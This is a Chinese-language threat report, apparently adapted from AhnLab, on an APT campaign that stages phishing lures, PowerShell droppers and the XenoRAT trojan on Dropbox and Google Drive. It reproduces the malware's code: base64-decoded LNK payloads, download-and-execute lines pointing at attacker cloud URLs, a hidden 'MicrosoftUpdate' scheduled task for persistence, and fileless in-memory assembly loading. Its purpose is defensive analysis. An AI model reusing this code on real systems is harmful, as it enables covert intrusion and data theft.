APT 组织也在利用云存储进行攻击

发布于:2024-06-27 ⋅ 阅读:(136) ⋅ 点赞:(0)

研究人员发现,各类攻击者都在攻击行动中将恶意脚本、远控木马和诱饵文档等恶意文件上传到云服务器上,各种恶意文件组合起来完成恶意攻击。

某个攻击组织从发送钓鱼邮件到植入远控木马的过程如下所示:

1718514288_666e7270b3eaead1d052c.png!small?1718514288732

攻击链

多个恶意文件串联起了整个攻击行动,因为所有文件都部署在云端,受害者可能还会下载分析人员不掌握的其他恶意软件。借助这些恶意软件,攻击者可以回传敏感信息等。

EXE 文件与 LNK 文件都是 APT 攻击中常用的文件,本文也以此类文件为例进行介绍。

通过 LNK 下载恶意软件

研究人员发现,LNK 文件伪装成 HTML 文件,还配备了引诱受害者点击的名称(Police Cyber Investigation Bureau – Internet Use History (check now to keep your PC safe).html.lnk)。

1718514302_666e727e167067cb9b22e.png!small?1718514306906

LNK 文件属性

LNK 文件包含 PowerShell 命令,解码 base64 编码的命令后会被保存在 TEMP 文件夹中的 ms_temp_08.ps1 文件里等待执行。

..\..\..\..\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe  
"$ss =\"[Base64-encoded commands]\"; 
$aa = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ss));
$cc = [System.IO.Path]::GetTempPath();
$dd = \"ms_temp_08.ps1\";
$ee = Join-Path $cc $dd;
$aa | Out-File -FilePath $ee; 
$aaaaa= 89897878; 
powershell -windowstyle hidden -ExecutionPolicy Bypass $ee"

而 ms_temp_08.ps1 会下载诱饵文档和其他恶意文件,再将其注册到计划任务中执行以下 PowerShell 命令:

$hhh = Join-Path ([System.IO.Path]::GetTempPath()) "Police Cyber Investigation Bureau - Internet Use History (check now to keep your PC safe).html";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/lpoo2f42y7x5uy6druxa0/SoJ****.html?rlkey=ckv37q02rh9j1qsw7ed28bimv&st=64zsdvba&dl=0" -OutFile $hhh; & $hhh;
$filePath = Join-Path ([System.IO.Path]::GetTempPath()) "ms_update.ps1";
$str = '$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "info.ps1"; Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/9d9msk907asjhilhjr75m/SoJ****-X.txt?rlkey=f8rydbv8tf28i9f2fwkrux6wo&st=78byjswv&dl=0" -OutFile $aaa; & $aaa;';
$str | Out-File -FilePath $filePath -Encoding UTF8;
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-WindowStyle Hidden -nop  -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "& {$filePath = Join-Path ([System.IO.Path]::GetTempPath()) \"ms_update.ps1\";powershell -windowstyle hidden -ExecutionPolicy Bypass -File $filePath;}"';
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 30);
$settings = New-ScheduledTaskSettingsSet -Hidden;
Register-ScheduledTask -TaskName "MicrosoftUpdate" -Action $action -Trigger $trigger -Settings $settings;
$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "first.ps1";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/gswgcmbktt1hthntozgep/SoJ****-F.txt?rlkey=n9xglo02xfnf14b9btgtw8aqi&st=w9zt1es5&dl=0" -OutFile $aaa; & $aaa;

PowerShell 命令首先会下载诱饵文档(普通 HTML 文件),由于文件名与 LNK 文件相同,用户很难意识到存在恶意目的。但分析人员在分析时,已经无法下载后续的恶意文件了。

之后会在 TEMP 文件夹中创建一个名为 ms_update.ps1 的 PowerShell 脚本文件,并将其注册成名为 MicrosoftUpdate 的计划任务,每三十分钟运行一次。

1718514326_666e72964cd14daaa3ba8.png!small?1718514326355

计划任务

此外,还会从攻击者的 Dropbox 下载名为 SoJ****-F.txt 的文件,保存到 TEMP 文件夹中命名为 first.ps1 再执行。

如前所述,名为 info.ps1 的脚本文件如下所示:

$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "info.ps1";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/9d9msk907asjhilhjr75m/So****g-X.txt?rlkey=f8rydbv8tf28i9f2fwkrux6wo&st=78byjswv&dl=0" -OutFile $aaa; & $aaa;

分析过程中,分析人员发现攻击者的 Dropbox 中包含各种格式的诱饵文档,如 HTML 文件、Word 文件、HWP 文件与 PDF 文件,如下所示:

1718514338_666e72a2790f839439552.png!small?1718514339120

其他诱饵文档

1718514353_666e72b1d25ecae9f8e2f.png!small?1718514354290

其他诱饵文档

1718514371_666e72c31f5d681367bbc.png!small?1718514373723

其他诱饵文档

1718514387_666e72d3321ab59218230.png!small?1718514387084

其他诱饵文档

攻击者准备了各种主题的文件,包括大学合作申请、业务交付确认和与外交相关的事务。除此之外,攻击者还使用存款合同、保险合同与贷款合同等文件,其中包含特定的个人信息,攻击者似乎将恶意软件分发给特定的目标。

通过云端下载恶意软件

上述 LNK 文件会从云端下载 first.ps1 与 info.ps1 文件,尽管分析人员分析时未能从上述 Dropbox 上下载这些文件,但通过另一个 Dropbox 也获取了这些文件。

上传的文件以特定人员的名字命名,攻击者是根据具体受害者部署的攻击行动,部分文件名如下所示:

SoJ***g-F.txt
Kim***un-F.txt
I***ong-F.txt
Hong***a-F.txt
Jon***n-F.txt
0513chrome-f.txt
0514edge-f.txt

攻击者为每个用户都建立了独立的文件夹,文件中包含诱饵文档、[name]-F.txt和 [name]-X.txt文件。脚本文件均使用基于 Token 的身份验证方法对 Dropbox 进行身份验证,每个文件包含 client_id、client_secret 和 refresh_token。

[name]-F.txt是包含 PowerShell 命令的脚本文件,启动后会收集用户的环境信息并将其上传到攻击者的 Dropbox。用户环境信息会被保存到 TEMP 或 APPDATA 文件夹中,文件命名格式为 [IP 地址]-[当前时间]-Run-[名称].txt或者 [IP 地址]-[当前时间]-RRR-[名称].txt。收集的信息如下所示:

  • 操作系统名称、版本、BuildNumber 和 OSArchitecture
  • 反病毒软件
  • 上次启动时间
  • PC 类型
  • 处理信息
  • PowerShell 执行策略

收集的信息随后回传到攻击者的 Dropbox:

1718514404_666e72e4950a858fed63a.png!small?1718514404680

回传信息

[name]-X.txt也是包含 PowerShell 命令的脚本文件,主要用于回传与下载文件。该脚本文件会在 TEMP 或 APPDATA 文件夹中创建名为 [IP 地址]-[当前时间]-XXX-[名称].txt的文件,后续回传到 Dropbox 上。分析时发现该文件并没有内容,可能是为了检查脚本是否正常执行。但后续攻击者改变代码,仍然可以执行其他恶意行为。

上传文件后,攻击者使用 Google Drive 而非 Dropbox 下载其他恶意软件。通过 Google Drive 下载的文件保存在 TEMP 文件夹中,名为 system-xn.dat。

$dropboxShareLink = "hxxps://drive.google.com/uc?export=download&id=[omitted]"


$tempPath = [System.IO.Path]::GetTempPath();
$filePath = Join-Path $tempPath "system-xn.dat"
Invoke-WebRequest -Uri $dropboxShareLink -OutFile $filePath

[byte[]]$bytes = [System.IO.File]::ReadAllBytes($filePath);	
$bytes[0] = 0x1F;
$bytes[1] = 0x8B;
<omitted>
$assembly = [System.Reflection.Assembly]::Load($exBytes);

Remove-Item -Path $filePath

$name = "Main";
foreach ($type in $assembly.GetTypes()){foreach ($method in $type.GetMethods()){if (($method.Name.ToLower()).equals($name.ToLower())){$method.Invoke($null, @());}}}

攻击者将文件的头部部分进行了修改,使其看起来很像 RTF 文件格式。

1718514417_666e72f1152e7114edc79.png!small?1718514417080

修改了文件内容

将修改的内容改为 GZ 文件对应的字段后,即可打开压缩文件:

1718514427_666e72fb13776a155b8b3.png!small?1718514426955

压缩文件

解压后是一个 C# 文件,攻击者调用 Main 方法运行该文件以便恶意软件可以通过无文件的方式执行。

最终载荷

最后,攻击者要启动的是 XenoRAT 远控木马。该木马可以根据攻击者的命令达成各种恶意目的,如加载恶意软件、启动/终止进程以及与 C&C 服务器通信等。该恶意软件是攻击者定制开发的,互斥量为 swolf-20010512

1718514442_666e730a37408de96b92c.png!small?1718514442529

远控木马

攻击者使用的电子邮件地址如下所示:

kumasancar@gmail[.]com
effortnully@gmail[.]com
tangdang77790@gmail[.]com
tantanibox@gmail.com
swolf0512@gmail[.]com

总结

攻击者在云端存储各种诱饵文件与泄露数据,并且攻击者往往是针对特定目标进行定向攻击,窃取信息后部署远控木马。建议用户提高警惕,在运行文件之前务必检查文件的扩展名和文件格式是否匹配。

参考来源

Ahnlab


网站公告

今日签到

点亮在社区的每一天
去签到